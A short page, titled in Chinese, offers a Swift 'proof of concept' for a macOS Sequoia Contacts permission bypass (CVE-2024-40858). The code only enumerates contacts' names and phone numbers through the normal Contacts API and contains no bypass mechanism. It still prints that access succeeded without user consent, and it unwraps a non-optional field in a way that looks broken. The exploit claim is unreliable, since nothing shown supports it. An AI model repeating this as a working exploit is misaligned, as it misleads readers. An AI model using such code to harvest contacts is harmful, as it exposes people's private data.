CVE-2024-40858 macOS Sequoia权限绕过漏洞

import Contacts import Foundation // Proof of Concept for CVE-2024-40858 // This code demonstrates unauthorized access to Contacts // Exploiting the permission bypass vulnerability in macOS Sequoia < 15.1 func exploitContactAccess() { let store = CNContactStore() let keys = [CNContactGivenNameKey, CNContactFamilyNameKey, CNContactPhoneNumbersKey] // In a vulnerable system, this request might succeed without prompting the user // or checking the authorization status properly due to the logic flaw. let request = CNContactFetchRequest(keysToFetch: keys as [CNKeyDescriptor]) do { try store.enumerateContacts(with: request) { contact, stop in print("Contact: \(contact.givenName) \(contact.familyName)") if let numbers = contact.phoneNumbers { for num in numbers { print("Number: \(num.value.stringValue)") } } } print("Successfully accessed contacts without user consent.") } catch { print("Failed to access contacts: \(error)") } } // Execute the PoC exploitContactAccess()